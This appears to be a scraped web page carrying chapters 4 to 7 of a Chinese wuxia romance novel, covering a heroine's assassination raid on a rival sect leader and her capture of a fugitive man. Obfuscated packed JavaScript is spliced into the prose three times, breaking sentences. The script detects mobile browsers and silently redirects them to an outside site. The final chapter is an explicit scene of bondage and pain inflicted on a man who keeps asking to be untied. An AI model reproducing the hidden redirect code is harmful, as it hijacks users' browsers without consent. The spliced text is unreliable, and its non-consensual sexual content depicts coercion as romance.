女人勾了勾唇,又深深的望了他一眼,方才起身朝外走去:“记得给他换药。” 谢稚的声音渐行渐远,容峋躺在床上,抬起手看了看自己手腕上的红痕,清澈的眸色瞬间转换成一片暗色,原本平和的面容也跟着陡然生出几分危险。 “原来是这样啊......”最后一道细微的喟叹随风逝去,就好像它从来没有出现过。 自从早上谢稚离开之后,一整天都没有冒出身影。直到黄昏时候,谢稚才踏着最后的落日进了厢房,一脚将所有的微芒都踩落脚下。 “听他们说,你今天什么也没吃。” 女人今天仍旧一身玄衣,窄袖劲装,行动利落。 容峋半靠在软榻之上,手中握着一本书卷,面色平静。听到她这话,眼都没抬,淡淡道:“放心,我不会寻死。” 谢稚立在原地瞧着他,忽然笑了:“那是想见我了?” 容峋扯了扯唇角,没有说话,安静的翻过下一页。 谢稚三步并作两步,走到前来,一把抽开他手中的书卷,扔到软榻一侧:“容公子倒是稳得住。” 容峋终于抬头看向她,眸光是比琥珀还要沉静的颜色:“除此之外,我又能做得了什么呢?” “那容公子就任我处置了?” “俘虏有说不的权利吗?” 谢稚目光带笑,几分浅薄几分认真:“俘虏没有。但是容公子可不是俘虏。” 容峋也笑了,凤目之中却不见半分笑意:“那谢姑娘的待客之道着实与众不同啊。” 谢稚右手落在男人一侧,低下头以半禁锢的姿态柔软了语气道:“还在生气?” 容峋重新低下头,伸手去捡那本书卷。 谢稚一把抓住他的手腕,半是戏谑半是认真的看着他:“你若还是不忿......等我回来,今晚任你处置。” “你想对我如何,就如何。” 女人话里的轻薄意味溢于言表,容峋面上即便再是冷漠,都忍不住泛起一层薄红。 谢稚挑了挑眉,指尖点点他的脸颊,继续道:“不说话,就代表了答应。” 容峋张了张口,想要说话,被女人用食指竖在唇前,发出一声“嘘”声。 “听——” 容峋疑惑的对上她的视线。 谢稚目光深深的望着他,声音又清晰又响亮:“我想要你的声音......” “已经快要按不住了。” 4. 第 4 章 入夜,无星无月。 两道身影从东姑坞的后山悬崖峭壁上攀援而下,避开空中遍布的水银丝,避过来来回回巡视的守卫,如起伏飞翔的大鸟悄然落于地面。 走在最后的守卫下意识回头,只看到一片寂静。 风声乍起,守卫提着灯笼照了一圈什么都没发现,又摸了摸自己的脑袋,嘴里咂吧着什么重新跟上队伍。 整片天空随着守卫的离开,进入一片黑暗。 就是现在! 在两队守卫交接之间,这极短暂的时间间隔。二人兔起鹘落间,跃入后山松树林,再无踪迹。 东姑坞作为东南第一巨宅,可以说是府苑连绵,巍峨壮观。大小院落四十二座,房屋二百七十八间。府内分内、外府两部分,两府又以上下左右六十五道门相通,一眼望不到尽头。倘若有人藏身其中,单是每个房间都搜一遍怕是都得花费一整天的功夫。 那两道身影小心的游走在整个掌座府,不仅十分巧妙的避开守卫,而且娴熟的避开了所有机关陷阱。一直到内院书房,两个人才打了个手势,分开行动。 书房内外灯火通明,明明暗暗间立着无数人影,却几乎听不到一丝呼吸声。 “掌座,刚刚收到消息,恣行时死了!” 一句话,将整个书房都砸得沉默了下去。 屋内只有一坐一立两个人,皆是四五十岁的年纪。坐着的那人,面相凶厉,双目凛凛,一道伤疤自左脸蜿蜒向下,深入左颈。正是东姑坞掌座,喻长辞。 站着的那人一身布衣,两鬓斑白,微驼着背,一副中年落魄模样,是这东姑坞的二把手。 掌事,窦沛。 “你说什么?”喻长辞的声音有些发抖,似乎不敢相信自己听到的。 窦沛知道喻长辞此刻心中的震动,他前面得到消息的时候也不敢相信,连问了来人三遍,才确认自己没有听错。因此,连夜赶路回来汇报这一消息:“掌座,恣行时死了。” “小重山楼外楼,洗牌了。” 喻长辞这回终于听清楚了。整个人慢慢靠向椅背,颤抖的手跟着盖住面孔,低低的笑声从掌心之下传来,不过片刻功夫,笑声就变得越来越大,甚至带了几分癫狂味道:“好啊!死了!死得好啊!!!” “死得真是好啊!!!” “只可惜没有死在本座手里!” 说到这里,他的手指摸上脸颊上的刀疤,狠声道:“谁杀的他?” 窦沛摇了摇头,面色凝重:“不知道。我们在楼外楼的探子都失去消息了。只怕是......都遭了不幸。” 喻长辞笑声一停,拧眉道:“不是我们的人传回来的?” 窦沛摇头:“不,是我们的人。可却是隐藏在山下村子里的人。他们不知何时起的叛乱,也不知何时停下的。倘若不是山上的血水将山下敦河水都染红了,只怕他们还蒙在鼓里呢。” 喻长辞:“如今楼外楼是什么情况?” 窦沛:“我们的人又等了两天才上小重山,可那里......已经人去楼空。” 喻长辞忽然有些不太明白:“什么意思?魔教放弃他们的老巢了?” 这就是窦沛十分在意的点了。“小重山楼外楼作为魔教的基地,按着常理来说,不可能会不要了。除非......” 喻长辞面色也变得格外难看了。虽然恣行时死了,是一件好事。可连恣行时都能杀的人,又是一个怎样的狠人呢?他若是再次渗入中原...... 喻长辞猛地站起身,黄檀木椅在地面上发出滋啦一声响,激得人头皮发凉:“立马向盟主汇报。” 窦沛对上他的眼神,点头:“这也是我担心的。如今魔教内乱结束,连老巢都不要了,只怕......意在中原。” 喻长辞走到窦沛面前,一把拍上他的肩头,沉声道:“这件事,必须尽快上报盟主。沛之,这件事,还得你去做。” 窦沛义不容辞道:“沛之定不辱命。” 喻长辞又拍了他两下,叹道:“你说,能杀了恣行时的是谁?左右使?还是四大护法?” 窦沛摇头:“没有发现这几个人的尸体。左使班立人手段阴狠,睚眦必报,但对恣行时却是再忠心不过了。应该不会是他。可倘若不是他,怎么会只有恣行时的尸体,而没有他的?” “右使刁玉山堪称笑面虎,在魔教之中颇受欢迎。可是恣行时却防他良久,听说还给他下了剧毒,若有异心,顷刻之间就会死于非命。” “四大护法,朱雀郗昔一手流星鞭用得好,可她是恣行时手把手教出来的,更是有义父义女之称;青龙鲜于松剑法超群,杀人如麻,可事发之时,有人在南鹊府看到过他。白虎阚万也是恣行时的忠心奴仆,不可能是他;最后一个就是玄武施涉,这个人最为神秘,我们知道的信息也最少。” “这么多年,魔教内部虽然偶有混乱,但是大体都互相制衡,不太可能会发生这样一边倒的状况。可如今,只有恣行时的尸体躺在山上,这些人......都不见了踪影。” “着实不对.....也不应该。” 喻长辞静静听着,灯花在这个时候突然发出哔啵一声脆响,激起一身颤栗。 “除了他们几个,还能有谁?” 窦沛也沉默了下去,他回来的这一路,已经将魔教众人翻来覆去想了无数遍,也没有想清楚恣行时到底是怎么死的?又是死在了谁的手里。 一片沉默中,喻长辞又说话了。 “沛之,万花庄的人回来了。” 窦沛一愣:“掌座?” 喻长辞将柳奋之事说了一遍,说到最后声音发狠:“谢家阿稚?呵,当年没有杀了她,如今她倒是回来送死了。” 窦沛面色发白,嘴唇翕动了几个来回:“可是若真的是她的话,她这么些年一直在哪里?这七年来,咱们的人也好,武林盟的人也好,几乎将整个中原翻了个遍......根本没有发现她的任何踪迹。” 喻长辞眯了眯眼:“你的意思是?” 窦沛重新恢复面色平静:“可能是真的谢家阿稚,也有可能......是个假的。” “嗯?” “这个人的目的,应该是明绰诀。这么多年明绰诀不见踪影,这个人若想找到明绰诀,就只能从万花庄之事下手。” 喻长辞低着头思考了两秒,一锤定音:“这样,你去武林盟向盟主汇报小重山之事;本座留在这里,将那个谢稚抓出来。本座倒要瞧瞧,这个谢家阿稚是人是鬼?” “是。” 等人离开之后,喻长辞重新返回了座椅,手指轻敲桌面,喃喃低语:“这两件事,两个人......到底有没有关联?” “喻掌座觉得呢?”一道清悦的声音在房间突兀响起。 “谁?!”喻长辞神色一变,猛地起身就要抽出架子上的长剑。 可是,没等男人碰到剑柄,一道玄色身影已经从房梁跃下,将利刃抵在了喻长辞的后颈位置,如同潜伏的夜隼在敌人露出破绽之时发出致命一击。 喻长辞顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“够了!”谢稚手指微颤了颤,声音也沙哑起来。 喻长辞眸光微动,听出女人声音里的破绽,继续道:“说来那些自称名门正派的人,做起事来当真是比魔教有过之而不及。可怜谢长生那样芝兰玉树的一代天骄,最后连个完整的尸骨都没剩下。” “骊山之下,遍布狼群。那些人将他剐了个干净,最终仍气恨不过,将一地残肢扔进了山......” 说到最后,男人身子往下一低,无数银光暗器自侧窗照着谢稚面门追去。谢稚瞳孔一缩,五指成爪就要朝着喻长辞抓去。 同一时间,喻长辞头都没回,一记追风掌向后拍了过去,犹如万千巨浪从远处滚滚而来,涛声如吼,气势雄浑。 先机尽失。 谢稚当机立断,身影一晃,持剑劈开房檐,自下而上蹿了出去。 “射箭!”窦沛早已经等在院外许久,一见谢稚出来,手下一挥,当即下令。 话音落下,漫天的铁剑呼啸而来。 谢稚咬牙骂了一声,手中长剑随内力快速流转,几乎织就了一道银色篱笆。 箭影之后,谢稚不退反进,径直朝着喻长辞追来。 喻长辞此时疼痛交加,见此怒极反笑。此女果然张狂,都到了这个时候,不想着尽快离开,竟然还想再擒下他。倘若他真的在众目睽睽之下,再落入此贼手中,那他喻长辞当真成了天下闻名的笑话了。 5. 第 5 章 一念至此,激出了喻长辞前所未有的悍意。手腕一翻,夺过身边侍卫一把金翎刀,横刀砍了过去。喻家刀法讲究一个快字,可他性格一向谨慎多变,因此始终没有悟得家传刀法的精髓。 可如今被逼到绝路之上,过往三四十年的所有经验绝学统统化为掌中刀,一息之间变换二十四种刀法,清既带着他过往的谨慎机变,又多了几分破釜沉舟的决绝,刀法竟在这心思电转间突破一个层次,竟有几分威不可当之势。 谢稚赞叹一声:“喻家刀法,今日之后只怕要彻底失传了。” 喻长辞心下一突,再不留手,于半空之中变招疾刺,直冲女人面门。 同一时间,身后风声一紧。 窦沛追来了,长剑照着女人后心刺来。 顷刻之间,前后受困,重伤在即。 就在千钧一发之际,女人身影如鬼魅般一滑,绵绵兮如云飘云散,随着清风跳出包围圈。 喻长辞和窦沛同时愣住,对视一眼,喻长辞当先劈声问道:“缠云步?你是恣行时的徒弟?” 谢稚遥遥立于房檐之上,噙着笑道:“你猜。” 喻长辞恨声道:“魔教......魔教今日重返中原,难道是想违背七年前阳常陂之约吗?” 谢稚歪了歪头,眼睛里露出些许的无辜和迷茫:“阳常陂之约?这似乎是恣行时那个老东西签订的吧。跟我有什么关系?” 喻长辞气得咬牙:“阳常陂之约说好了,所有魔教子弟都不得踏入中原。” 谢稚哦了一声,眯着眼睛笑:“那我又不是魔教子弟。” “我们现在是仙......教!” 话音落下,谢稚长剑一起,径直朝着喻长辞刺去,竟是想在这个包围圈之中将喻长辞斩于剑下。 满院子的人虽多,却没几个济事的。这些人本来听到魔教已是胆寒,又见女人同恣行时有瓜葛,甚至魔教还想着重新进攻中原。正在心下纷乱之时,一道惨叫声响起。 所有人悚然一惊。 “掌座!”窦沛神色大变,只见喻长辞的右臂已经被谢稚一剑砍断。 “保护掌座!” 所有人同时色变,再容不得多想多思,一齐朝着谢稚杀去。 谢稚抿紧了唇瓣,这些人都不是她的目标。 今日走到如此地步,仇人就在眼前。她不可能就此退去。 刹那间,谢稚整个人几乎化为一柄利剑,周身不作任何防护,径直朝着喻长辞刺去。 血色,全是血色...... 喻长辞扶着窦沛,快步朝后退去。他不过看了一眼,就不敢再回头。 疯子!女魔头! 倘若这个人真的就是谢稚。她这么些年只怕也一直都在小重山了。如今重返中原的目的...... “沛子,这个女人......” 话没有说完,窦沛狠狠一把将人推开,反手格住谢稚的长剑。 剑声嗡鸣,火花四溅。 谢稚抬眸瞧了他一眼。不过一眼,窦沛下意识的后退了一步。 那是一双怎么样的眼睛? 血色、杀戮、无情,如看蝼蚁。 谢稚手腕一转,将他的长剑格开,而后剑气不歇,银光如流星坠落一般落到喻长辞的脖颈间,溅起一片血花。 手起刀落之后,谢稚掠步就走,只留下轻轻笑意:“喻掌座,好走不送。” 等人不见了踪影,喻长辞才“砰”地一声,跌落在地。 窦沛这才回过神来,凄厉叫道:“掌座!” “追!!”窦沛也红了眼,在深夜中叫道,“那个女人也受了伤,不可能走远。” “都给我去追!” “杀无......” 轰!!! 毫无征兆的一声爆炸声响起。 火光冲天、浓烟滚滚。一时之间,黑沉沉的夜里尽是奔走呼号之声。 窦沛呆了片刻,等缓过了耳鸣的震荡,才呐呐道:“那是什么地方?” 护卫也刚刚爬起,觑着眼望过去,颤声道:“是夫人和公子的房间。” 窦沛眼前一黑,差点儿没有站稳。 护卫连忙扶住他:“掌事,掌事,你可不能倒啊!你要是倒下了......”话没有说完,窦沛一把甩开护卫,“还愣着做什么?还不快去......快去救夫人他们!!” “是是是......” 东姑坞一片混乱,谢稚却心情极好的等在东姑坞外。 没一会儿的功夫,晏白就领着一个女人过来。女人二十四五的年纪,靡颜腻理、丰姿冶丽,一双丹凤眼动作间满是风情,瞧见谢稚神色一变,立马跑上去:“尊主!你来接我了!” 谢稚眼中的笑意也多了很多:“嗯,辛苦了。” 花影笑嘻嘻道:“不辛苦!比之前的任务简单多了。喻长辞那个老东西到死都不知道,自己究竟是怎么死的。” 谢稚摸摸她的脸颊,笑道:“那本座给你休一段时间假。” 花影后退一步,拒绝道:“别以为我不知道尊主要大闹武林盟,这等好事您要是不让我跟着,我就......我就哭给你看!” 谢稚哭笑不得:“跟着吧。到时候,可有你哭的。” 晏白突然道:“你受伤了?” 谢稚回过头去看他,男人拧着眉,神色担忧。谢稚笑了笑:“无妨,小伤。” 晏白要出口的关心,被她这一句貌似温和实则疏离的微笑,尽数打了回去。撇开头,晏白也不再说话。 花影悄悄打量了下两个人,插在中间:“尊主,我们先回暗点吧。” 折腾了半夜,月亮重新探出了头。 月上中天,照亮了回去的路。 谢稚进入院中的一瞬间,脸色微变,出声:“别巍。” 鄣郡暗点不过三人。一个花影,东姑坞掌座爱妾;一个别巍,杂货铺老板;还有一个,不在此处。 如今他们初到鄣郡,为避人耳目,直接住到了别巍的院子。院子是个两进的,家里仆人都打发了回家,只有别巍一个人。 今晚他们出去,按理来说应该只剩下别巍和容峋两个人。 可是......呼吸声不对。 谢稚眉峰一凛,抬脚朝着容峋所在的那间走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282246|151883||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去。 没等她靠近,晏白已经先一步踢开了门。 血腥味铺天盖地传出来,谢稚脸色沉得厉害,进去照着床榻扫了一眼。 床上空无一人,只留下一滩鲜血。 地上趴着一个人,正是别巍。 晏白连忙上前,将人翻过身来,抬手一碰鼻尖,松了口气:还有呼吸。 谢稚慢慢蹲下身子检查了一遍,最终在男人的后颈位置发现了一枚银针。谢稚嗤笑一声,随手拔下,指尖点上百会穴,别巍方才慢慢转醒。 看到谢稚的瞬间,别巍愣了一下,忽然想起昏迷前的情况,连忙低头跪下:“属下失职,让人给跑了。” 谢稚淡淡嗯了一声:“怎么跑的?” 别巍想起来就忍不住咬牙:“属下给容公子送完伤药之后就出去了。结果没有片刻功夫,屋内就传来砰的一声响。属下急忙进来查看,结果就看到男人倒在一侧,身上那一处鲜血流了一地。属下没来得及细看......” “多久了?” “亥时一刻时候。” 已经半个多钟头了,谢稚直接站起身来朝外走去。 晏白连忙跟上去:“尊主,我和你......” 谢稚步子没有停留,径直朝外走去:“你们休息吧,我去去就回。” 晏白脚步生生停下,面色深沉如墨。 花影看看谢稚的背影,又瞧了瞧晏白:“啧!晏白,那位容公子是何方神圣啊?竟然......” “睡你的觉去!” “睡睡睡!大晚上的,睡什么睡?” 鄣郡是典型的白墙黑瓦建构,巷子幽深,道路狭窄,地面一侧留有一条细细长长的沟渠。弦月西移,影影绰绰的垂柳在水面之上晃动。路上不见半点儿行人,东姑坞的风波还没有波及到这一带。可是,只怕很快就会找过来。 到时候,找那个人就更麻烦了。 谢稚面上生寒,一晚上的好心情尽数消散。 他是个聪明的,也是谨慎的。 他既然想逃开,最好的选择只有两个。 一个是躲起来,不让她找到;还有一个,就是趁早离开鄣郡。 可谢稚想到床上看到的那一滩鲜血,冷笑一声:好!好得很!那样多的鲜血......若他赶路离开,只怕不等毒发,就先伤重而死。 所以,他定然还在鄣郡,还在故鄣县城。 亥时已经宵禁,这个时候他不可能回家。医馆、客栈......也都不可能。 突然电光一闪,整个鄣郡亮如白昼。接着一个焦雷,轰隆隆几乎打在了头顶。 谢稚暗骂一声,从腰间掏出一寸大小的黑玉瓶子。紧跟着,抬手咬破食指指腹,将鲜血滴了进去,冷声道:“起来,干活了。” 话音落下,只见瓶子里缓缓发出两声“嘶嘶”的声音,紧跟着一条通体黝黑的细尾蛇爬了出来。 不过拇指粗细,手腕长短。出来的瞬间就抱着谢稚食指又狠狠咬了一口,女人面色一白,等细尾蛇发出满足的嘶嘶声之后,才一把捏住那畜生七寸,冷冷甩了出去。 “去找人。” 6. 第 6 章 轰隆隆,焦雷如怖,大雨倾盆。 天上就好像开了个口子,哗啦啦的倾泻雨水,将人的视线都蒙了一层,总是看不真切。 又一道电光闪过,屋檐阴影之下露出一道深色的身影。 女人一身上下早已经湿透,乌发紧贴在两颊,面色雪白,嘴唇艳红,如同夜间跳出奈何的水鬼。 就在女人的不远处,地上还躺着一个人。 周身泥泞,狼狈不堪。 谢稚立在原地瞧了很久,他始终没有动静。不知道是昏过去了,还是死过去了。 谢稚想,死了也好。 死了,也就一了百了。到时候,她会给他好好安葬,给他立碑,给他...... 谢稚一股无名的怒火瞬间蒸腾起来,她快步朝着男人走去,步履匆匆溅起一连串的涟漪。 一直走到男人面前,谢稚才停下脚步,低头看下去。男人一身白衣沾满了泥泞,面色更是白得可怕,嘴唇也不见一点儿血色,只有眉眼间还见一点儿暗色。 谢稚抬脚踢了踢他的腿,声音平静而冷淡:“起来,别装死。” 容峋没有任何反应。 雨水顺着女人的睫毛落下,谢稚慢慢蹲下身子,手指摸上男人脸颊。 一片冰凉,同死人没什么区别。 “容峋......” 容峋的睫毛微微颤了下,没有睁开眼睛,低哑出声:“还没死呢......" 谢稚动作微僵,原本空白的表情刹那间回拢,面色瞬间冷了几分:“你好大的胆子,当真是不要命了吗?” 容峋扯了扯唇角,声音低弱却清晰:“君子......生......以辱,不如......死以荣。” 谢稚冷笑一声:“君子祸至不惧,福至不喜。容公子远没到君子地步,还是少拿这套来糊弄自己。” 轰隆隆一片雷声过去,又是瓢泼似的大雨落下。按理来说,春日里不该有这样大的雨。可今夜就好像捅了个窟窿一般,大雨不停。 容峋沉默了片刻,缓缓说道:“谢姑娘说的是。” 谢稚哼了声,俯身一把将人拦腰抱起,惊得容峋瞬间睁开眼睛,不可置信的看着她。谢稚乜了他一眼,冷笑:“千斤巨石尚不在话下,何况一个你?” 容峋吁出一口气,虚弱的闭上眼睛,随她摆弄。 谢稚脚下没停一路掠回了驻扎的暗点。刚一进院,就看到了廊下的晏白。 谢稚脚下匆匆没有停留:“去烧水。” 晏白瞧了眼她怀里的男人,转身就走。走了两步,狠狠一脚踢开旁边别巍的房门:“去烧水。” 别巍从厨房冒出头来,脸上还挂着殷勤的笑意:“烧好了烧好了!尊主,属下还煮了一锅姜汤,您要不要先喝点儿?” 谢稚脚下一停:“给他端一碗过来。” 别巍三十多岁的年纪,唇下两道八字胡须,双眼一直滴溜转,脑子很活,行动也很迅速。没有一会儿的功夫,就同花影将东西都收拾了出来。不等男人给容峋擦洗,容峋抓着衣服咬牙:“我自己来。” 谢稚眯眼瞧着他:“我来......” 话没有说完,容峋已经昏过去了。晏白收回砍晕男人的手,朝着谢稚皮笑肉不笑道:“这种事情怎么能让尊主亲自动手,还是让属下来的好。” ......谢稚迟疑的看了一眼容峋,最终还是应声道:“他身子弱,你掌些分寸。” 晏白阴沉了一晚上的面色,终于缓和下去。到底,这个小白脸还是比不上他的。 不过......他居然比他的长,砍了! 若非别巍在一旁眼疾手快的拦下,只怕池子里又要见血。 晏白阴森森的看着别巍:“你找死?” 别巍顿时有些想哭,倘若这位主完好的进来,缺斤少两的出去......尊主不会砍了这位主儿,只怕先割了他。 “晏护法,如今尊主就在外面,您若真给他阉了,尊主......可能面上不显,但只怕心里也会起了芥蒂。很多事情不必急于一时,这个人既然跑了这一次,说不准就有第二次。到时候,您再趁机出手......不比现在方便?” 晏白冷着脸思索了片刻,握着剑柄的手松了又紧,紧了又松。最终,将长剑归入鞘中:“行了,你给他收拾吧。” 别巍心下长长松了口气,脚不沾地的给人擦洗干净又放回床上,才重新将谢稚请了回来。 花影背着双手瞅瞅擦洗干净的男人,又瞅瞅冷冰冰的别巍,视线滑着二人那处一滑:“啧啧,看不出来啊。” 晏白咬着牙蹬她:“看什么?” 花影意态闲闲的弹了个响舌:“所以,比你的大?” 晏白差点儿咬住舌头,下意识的看向谢稚。女人面色看不出什么异常,一脸冷然看着别巍给人喂药。 晏白气得脸都白了:“滚。” 花影哎呦一声:“恼羞成怒了,看来是说中......." 话没说完,噌的一声长剑出鞘了。花影脚下一滑,朝着房外跑去,晏白咬着牙怒道:“你给老子站住!” “傻子还站在原地不动,给你砍!” 两个人出去了,别巍手下动作一停,小心翼翼的看向谢稚:“尊主,晏护法也是因着太在意您了。” “喂完了?”谢稚视线从容峋的脸上移开,平静无波的转向别巍。 别巍连忙点头,收拾着东西就准备出去。 谢稚再次出声:“我方才写了个方子在外间。照着那个,明天给他抓一些药来。” 别巍笑呵呵的应下,转身就走,还十分体贴的关上了门。 这么久了,外头的雨声却一点儿没小。 谢稚躺在容峋的身边,手指摩挲着他的眉眼,目光缱绻:这样一张脸,还是不要死了的好。 听说他中了三十多刀,最后被逼到杞山山顶,跳崖而死。 师兄,那个时候你在想什么? 可有半分......后悔? 睡到半夜,谢稚是被热醒的。身旁的男人浑身发烫,脸色也是一片坨红。 到底是高烧了。 谢稚压着眉头瞧了他良久,最终又将别巍扯起来给他用冷敷退烧。一番折腾下来,天色已经大明了,别巍干脆直接起身去买药。 别巍去的快,回来的也很快。 “尊主,全城戒严,城门也封锁了。不知是否因着昨晚......” 谢稚立在廊下,望着仍旧淅淅沥沥的春雨:“不一定。” “行了,去煎药吧。” 当今武林一向以武林盟马首是瞻,武林盟之下共四大势力,北狐山、南鹊府、东姑坞以及西华舫。四府连络有亲,扶持遮饰,在过去近百年的时间里将整个武林掌控得严丝合缝,但凡有冤屈、要事,不必寻什么官府断案,只要找到武林盟说明缘由,自然将事情办得妥妥当当。 但这是在新朝建立之前。 当时前朝末帝卖官鬻爵,大监把持朝政,诸侯纷争四起,战乱不休,没有人管百姓的死活。在这样的情况下,武林盟应运而生。第一代武林盟盟主巨孟可谓是一代仁义宗师,虽出身不显但性情豁达、乐善好施、广交好友,其影响力自上党郡为基础扩张到整个中原。 不到二十年的时间,巨孟就成为整个江湖武林的无冕之王。最早跟着他的人随之落于四处,建立四府势力以便管辖。 一直到六年前,新朝裴氏一统中原。在这中间,武林盟可没少给新帝提供江湖助力。所以,新朝初建,皇帝延续了武林盟许多特权。 但是,儒以文乱法,侠以武犯禁。 没有人能始终置身于朝野之外,也没有人能始终以侠客的身份发号施令。 今年初,朝廷有官员进言武林盟行事张狂、影响朝廷法度,提议将武林盟收入廷中,并以监察司来命名。皇帝在议会上训斥了那人,却将折子留中不发,就表明了态度。 也正是因此,如今的武林盟主孟昶会才准备在三月底召开武林大会, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282247|151883||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 推选新任盟主。如此,新任盟主同皇帝没了旧情,皇帝处理起来也会方便很多。 如果依着以前武林盟的势力,死了个东姑坞掌座,禁严封城不是没可能。可如今,收复武林盟只在旦夕之间,那群在官场的油混子不会嗅不出味道。到时候,给武林盟加罪码的时候,就有他故鄣县令姑息养奸、同流合污。 只要不是傻子,这个时候就不可能如此大张旗鼓的行动。 可会是谁呢? 能直接号令县令封城的人,可不多啊。 这一场雨足足下了两天,直到初十的晚上才堪堪停歇。 容峋也随着雨停,将将苏醒过来。 谢稚手中正剪着蜡烛里的烛芯,听见身后的动静,头也没回,淡淡道:“醒了。” 容峋侧头看了她一眼,没有答话,又歪了回去。 “啪”地一声,谢稚将剪刀放下,转身走了过去:“很遗憾,又见面了。” “多谢。”容峋眼睫微垂,声音很轻很淡,如同浸在雨雾之中一般。 谢稚眉头一挑,坐到床边,低垂着眸子:“谢我?难道不是想杀我?” 容峋低低咳了两声,慢慢坐起身靠在床头,平静道:“若不是谢姑娘,容峋如今应该已经入了黄泉。” 谢稚微挑了下眉头:“想通了?” 容峋眸光始终安静,声音不急不缓:“生死之事,没什么想不通的。” 谢稚忍不住笑出声来,起身将额头抵了上去,与他气息交缠:“怎么办?你说完这句话之后,我更期待了......” 容峋安静询问:“期待什么?” 谢稚握住他的手,将他一点点放到自己胸口:“期待......你将利刃刺向这里的那天。” 容峋手指微不可几的颤了一下,有些想要抽回,却被谢稚攥的更紧。 女人抬起头,低垂着眸子瞧他:“怎么?不敢吗?” 容峋撞上她的视线,神情看不出丝毫端倪:“我朝杀人偿命。” 谢稚弯了弯眉眼,半是认真半是戏谑道:“完了,那我死一万次也不够偿的了。” 容峋默默垂下眼睑,不再说话了。 谢稚却不想看他这样沉闷的样子,素手捏住他的下巴,往上一抬,强迫他对上自己的视线:“看着我。” 容峋顺着她的力道望了上去,十分听话,却令人更加不悦。 谢稚眯起眼睛:“你在看谁?” 女人的声音已经有一些危险了,容峋眸色却始终平静:“谢姑娘在看谁?” 谢稚微勾着唇,语气慵懒而诚实:“我的师兄啊。每看一次,都觉得世上怎么会有如此相像之人?” 女人说完之后,示意他继续:“容公子呢?” 容峋迟疑了一瞬,抿唇道:“我的......继母。” 谢稚足足愣了有半秒钟,将手一松,掩着唇咯咯笑了起来:“容公子,即便你叫我母亲,我可能也不会放过你哦。” 容峋撇开脸,不去看她。 等谢稚笑够了,方才重新问他:“我同她哪里像了?模样?还是同她一样对如此恶毒?” 容峋不想说话。 谢稚掰过他的脸颊,正对着她:“快说啊,哪里像了?” 容峋再次被强迫着对上她的脸,顿了顿,出口:“嗯。一样恶毒。” 谢稚没有丝毫生气,反而怜惜的摸了摸他的头:“可怜见儿的,以后小娘疼你。” 女人一边说着,一边眯着眼睛作势要亲他。 容峋连连后退,声音也哑了不少:“谢姑娘......” “叫谢稚。” 容峋:......“谢稚。” “乖!” “等等,你做什么?” “春宵一刻值千金。你说我要做什么?” “等等,你......唔......” 谢稚坐在男人身上,双眼眯成了两轮弯月,声音却陡然凉了下去:“接下来,好好看着。” 7. 第 7 章 屋内只点着三两只蜡烛,灯火摇曳,忽明忽暗。多伽罗檀香的味道早已经侵染进了帐子里,愈久弥香。 “嗯......” 一声破碎的呻丨吟在密匝的空气里震荡,弹拨出一下又一下的回音。 “舒服?”谢稚的声音里噙满了笑意。 容峋一动不动半靠在床尾子前,一身衣衫尽褪,层层叠叠围拢在腰间,如白云堆絮,动人心魄。男人听到她的问话,睫毛颤了颤,清冷的眸色里瞬间凝出水光,苍白的脸色也跟着泛起潮红:“解开......” 男人声音试图更冷静一些,可是尾音里的颤抖却只能暴露底牌已然殆尽。 “真的要我解开?” 容峋眼角微红,声音也越发沙哑:“解开。” 谢稚轻笑一声,手指勾上捆住男人的天血蚕丝,作势要解开。可惜,“铮”的一声,非但没有解开,反而往上重重一挑,发出一道响亮的脆响。 瞬息之间,男人身上就多了一道鲜艳的红痕。 “唔……” “嘘!”谢稚发出轻轻的声响,手下动作却没停,在又落下一道痕迹后,柔柔道,“忍不住了吗?” 容峋眼角红得厉害,额头都渗出了点点滴滴的汗水:“谢稚。” 他的声音比方才更哑了,那种沙沙的感觉好似越过了空气,让谢稚整个身体如同过电一般泛起细细的鸡皮疙瘩。 “嗯......”谢稚望着他的眉眼俱是柔情。 容峋死死盯着她,眸色都在不知不觉间沉了下去:“解开。” 谢稚摇了摇头,目光温柔可拒绝的却是干脆:“还不行呢,时间还不够。” 正说着,一条通体黝黑的细尾蛇从男人堆叠的衣服里冒出头来,朝着谢稚的手指绕了两圈,发出“嘶嘶”声响。 谢稚指尖捏了捏它的七寸,赞赏道:“继续吧。” 细尾蛇“嘶”了一声,尾巴一甩,重新没入男人衣服之中。不过片刻功夫,容峋再次忍不住发出一声闷哼。 “谢……” “不用谢,小黑可是好东西。经了这次,你的身体就不会像这次这样……病这么久了。” “谢稚!”容峋咬着牙叫她。 “嗯。”谢稚捏过一条帕子,给他轻轻擦拭额头汗水,“我在这里,很快就不痛了。” 容峋一身已经湿透,脸上、脖子上、胸口……都挂满了汗水,眼里更是一片暗沉。 忽然,容峋眸光一颤,几近失声:“谢稚!”这一声低沉得如同松风过境,瞬息之间撩起一片火原。 谢稚擦拭的动作顿了一下,手指顺着额头一路滑到男人胸膛:“嗯,我在。” 容峋眼皮撩起来,琥珀色眼眸如同星光坠海:“谢稚!解开……” 